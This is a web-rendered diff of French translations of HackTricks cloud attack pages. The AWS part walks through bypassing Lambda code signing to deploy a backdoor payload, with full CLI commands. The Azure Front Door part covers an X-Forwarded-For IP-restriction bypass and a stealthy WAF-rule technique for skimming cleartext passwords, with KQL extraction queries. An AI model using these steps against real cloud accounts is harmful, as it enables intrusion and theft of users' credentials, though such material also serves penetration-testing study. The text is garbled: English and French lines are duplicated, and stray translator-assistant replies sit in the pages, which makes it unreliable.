Peut-être qu'avec ces permissions vous pouvez créer une fonction et l'exécuter en appelant l'URL... mais je n'ai pas trouvé de moyen de le tester, alors dites-moi si vous y arrivez !
|
||||
|
||||
### Lambda MitM
|
||||
|
||||
Certaines lambdas vont **recevoir des informations sensibles des utilisateurs dans les paramètres.** Si vous obtenez une RCE dans l'une d'elles, vous pouvez exfiltrer les informations que les autres utilisateurs lui envoient, consultez :
|
||||
Certaines lambdas vont **recevoir des informations sensibles des utilisateurs via des paramètres.** Si vous obtenez un RCE dans l'une d'elles, vous pouvez exfiltrer les informations que d'autres utilisateurs lui envoient, regardez dans :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Références
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Contourner la signature de code Lambda
|
||||
|
||||
Si une fonction Lambda applique la signature du code, un attaquant qui peut soit supprimer la Code Signing Config (CSC), soit la rétrograder en mode Warn peut déployer du code non signé dans la fonction. Cela contourne les protections d'intégrité sans modifier le rôle IAM de la fonction ni ses triggers.
|
||||
|
||||
Permissions (l'une des suivantes) :
|
||||
- Voie A : `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
|
||||
- Voie B : `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
|
||||
|
||||
Remarques :
|
||||
- Pour la Voie B, vous n'avez pas besoin d'un profil AWS Signer si la politique CSC est réglée sur `WARN` (artefacts non signés autorisés).
|
||||
|
||||
### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing
|
||||
Étapes (REGION=us-east-1, TARGET_FN=<target-lambda-name>) :
|
||||
|
||||
If a Lambda function enforces code signing, an attacker who can either remove the Code Signing Config (CSC) or downgrade it to Warn can deploy unsigned code to the function. This bypasses integrity protections without modifying the function's IAM role or triggers.
|
||||
|
||||
Permissions (one of):
|
||||
- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
|
||||
- Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
|
||||
|
||||
Notes:
|
||||
- For Path B, you don't need an AWS Signer profile if the CSC policy is set to `WARN` (unsigned artifacts allowed).
|
||||
|
||||
Steps (REGION=us-east-1, TARGET_FN=<target-lambda-name>):
|
||||
|
||||
Prepare a small payload:
|
||||
Préparez un petit payload :
|
||||
```bash
|
||||
cat > handler.py <<'PY'
|
||||
import os, json
|
||||
@@ -282,7 +277,7 @@ return {"pwn": True, "env": list(os.environ)[:6]}
|
||||
PY
|
||||
zip backdoor.zip handler.py
|
||||
```
|
||||
Option A) Supprimer CSC puis mettre à jour le code :
|
||||
Chemin A) Supprimer CSC puis mettre à jour le code :
|
||||
```bash
|
||||
aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
|
||||
if [ "$HAS_CSC" -eq 1 ]; then
|
||||
@@ -292,7 +287,7 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba
|
||||
# If the handler name changed, also run:
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
|
||||
```
|
||||
Option B) Rétrograder à Warn et mettre à jour le code (si la suppression n'est pas autorisée):
|
||||
Option B) Rétrograder en Warn et mettre à jour le code (si la suppression n'est pas autorisée):
|
||||
```bash
|
||||
CSC_ARN=$(aws lambda create-code-signing-config \
|
||||
--description ht-warn-csc \
|
||||
@@ -303,15 +298,15 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba
|
||||
# If the handler name changed, also run:
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
|
||||
```
|
||||
Confirmed. I will translate the relevant English text to French, preserving exactly all code, hacking technique names, cloud/SaaS/platform names (aws, gcp, Workspace, etc.), links, paths, and all markdown/html tags (including {#...} tags). I will not modify links, refs, or tags and will not add any extra content.
|
||||
Compris.
|
||||
```bash
|
||||
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
|
||||
cat /tmp/out.json
|
||||
```
|
||||
Impact potentiel : Capacité à pousser et à exécuter du code arbitraire non signé dans une fonction qui était censée imposer des déploiements signés, pouvant potentiellement entraîner l'exécution de code avec les permissions du rôle de la fonction.
|
||||
Impact potentiel : Possibilité de déployer et d'exécuter du code arbitraire non signé dans une fonction qui était censée imposer des déploiements signés, pouvant entraîner l'exécution de code avec les permissions du rôle de la fonction.
|
||||
|
||||
Nettoyage :
|
||||
```bash
|
||||
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,18 +1,81 @@
|
||||
# Az - Partages de fichiers
|
||||
# Az - Front Door
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Contournement de RemoteAddr
|
||||
## RemoteAddr Bypass
|
||||
|
||||
Ce **[billet de blog](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)** explique comment, lors de la configuration de certaines restrictions réseau avec Azure Front Door, vous pouvez filtrer en fonction de **`RemoteAddr`** ou **`SocketAddr`**. La principale différence est que **`RemoteAddr`** utilise en réalité la valeur de l'en-tête HTTP **`X-Forwarded-For`**, ce qui le rend très facile à contourner.
|
||||
This **[blog post](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)** explains how when you are configuring some network restrictions with Azure Front Door you can filter based on **`RemoteAddr`** or **`SocketAddr`**. Being the main difference that **`RemoteAddr`** actually uses the value from the **`X-Forwarded-For`** HTTP header making it very easy to bypass.
|
||||
|
||||
Pour contourner cette règle, des outils automatisés peuvent être utilisés pour **brute-forcer des adresses IP** jusqu'à ce qu'une valide soit trouvée.
|
||||
Pour contourner cette règle, des outils automatisés peuvent être utilisés qui **brute-force IP addresses** jusqu'à ce qu'ils trouvent une adresse valide.
|
||||
|
||||
Cela est mentionné dans la [documentation de Microsoft](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-configure-ip-restriction).
|
||||
This is mentioned in the [Microsoft documentation](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-configure-ip-restriction).
|
||||
|
||||
## Credential Skimming via WAF Custom Rules + Log Analytics
|
||||
|
||||
Abuse Azure Front Door (AFD) WAF Custom Rules in combination with Log Analytics to capture cleartext credentials (or other secrets) traversing the WAF. This is not a CVE; it’s misuse of legitimate features by anyone who can modify the WAF policy and read its logs.
|
||||
|
||||
Comportement clé permettant cela :
|
||||
- AFD WAF Custom Rules can match on request elements including headers and POST parameters.
|
||||
- When a Custom Rule uses the action Log traffic only, evaluation continues and traffic proceeds (no short-circuit), keeping the flow normal/stealthy.
|
||||
- AFD writes verbose diagnostics to Log Analytics under Category FrontDoorWebApplicationFirewallLog. Matched payload details are included in details_matches_s along with the rule name in ruleName_s.
|
||||
|
||||
### Flux de bout en bout
|
||||
|
||||
1. Identify target POST parameters
|
||||
- Inspect the login form and note parameter names (e.g., username, password).
|
||||
|
||||
2. Enable diagnostics to Log Analytics
|
||||
- In your Front Door profile > Monitoring > Diagnostic settings, send logs to a Log Analytics workspace.
|
||||
- At minimum, enable the category: FrontDoorWebApplicationFirewallLog.
|
||||
|
||||
3. Create a malicious Custom Rule
|
||||
- Front Door WAF Policy > Custom rules > New rule:
|
||||
- Name: innocuous name, e.g., PasswordCapture
|
||||
- Priority: low number (e.g., 5) so it evaluates early
|
||||
- Match: POST arguments username and password with Operator = Any (match any value)
|
||||
- Action: Log traffic only
|
||||
|
||||
4. Generate events
|
||||
```bash
|
||||
curl -i -X POST https://example.com/login \
|
||||
-H "Content-Type: application/x-www-form-urlencoded" \
|
||||
--data "username=alice&password=S3cret!"
|
||||
```
|
||||
5. Extraire des identifiants depuis Log Analytics (KQL)
|
||||
```kusto
|
||||
AzureDiagnostics
|
||||
| where Category == "FrontDoorWebApplicationFirewallLog"
|
||||
| where ruleName_s == "PasswordCapture"
|
||||
| project TimeGenerated, ruleName_s, details_matches_s
|
||||
| order by TimeGenerated desc
|
||||
```
|
||||
Je n'ai pas reçu le contenu du fichier src/pentesting-cloud/azure-security/az-services/az-front-door.md. Veuillez coller le texte Markdown ici (ou téléverser le contenu). Je le traduirai en français en respectant vos règles (ne pas traduire code, noms de services, liens, chemins ni balises).
|
||||
```kusto
|
||||
AzureDiagnostics
|
||||
| where Category == "FrontDoorWebApplicationFirewallLog" and ruleName_s == "PasswordCapture"
|
||||
| extend m = parse_json(details_matches_s)
|
||||
| mv-expand match = m.matches
|
||||
| project TimeGenerated, ruleName_s, match.matchVariableName, match.matchVariableValue
|
||||
| order by TimeGenerated desc
|
||||
```
|
||||
Les valeurs correspondantes apparaissent dans details_matches_s et incluent les valeurs en clair qui ont déclenché votre règle.
|
||||
|
||||
### Pourquoi Front Door WAF et pas Application Gateway WAF ?
|
||||
- Les logs de custom-rule d'Application Gateway WAF n'incluent pas les valeurs POST/header incriminées de la même manière ; les diagnostics d'AFD WAF incluent le contenu correspondant dans details, ce qui permet la capture d'identifiants.
|
||||
|
||||
### Discrétion et variantes
|
||||
- Définissez Action sur 'Log traffic only' pour éviter de casser les requêtes et pour que les autres règles continuent d'être évaluées normalement.
|
||||
- Utilisez une Priority numérique faible afin que votre règle de logging soit évaluée avant toute règle Block/Allow ultérieure.
|
||||
- Vous pouvez cibler n'importe quel nom/emplacement sensible, pas seulement les paramètres POST (par ex. des headers comme Authorization ou des API tokens dans des body fields).
|
||||
|
||||
### Prérequis
|
||||
- Une instance Azure Front Door existante.
|
||||
- Autorisations pour modifier la politique AFD WAF et lire le Log Analytics workspace associé.
|
||||
|
||||
## Références
|
||||
|
||||
- [https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)
|
||||
- [Skimming Credentials with Azure's Front Door WAF](https://trustedsec.com/blog/skimming-credentials-with-azures-front-door-waf)
|
||||
- [Azure WAF on Front Door monitoring and logging](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-monitor)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user